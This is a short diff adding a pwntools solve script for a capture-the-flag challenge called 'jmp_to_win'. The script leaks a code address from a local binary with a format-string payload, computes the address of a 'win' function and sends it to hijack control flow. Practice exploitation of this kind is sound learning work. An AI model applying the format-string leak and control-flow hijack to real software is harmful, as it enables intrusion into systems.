solve script

random_challs/jmp_to_win/a.py

@@ -0,0 +1,21 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./vuln", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendlineafter(b":", a)
+
+# leak
+s(b"%23$p")
+main = int(r.recvline(), 16)
+log.info("main: %#x", main)
+win = main - 0x96
+log.info("win: %#x", win)
+
+# jmp
+s(str(hex(win)).encode())
+
+r.interactive()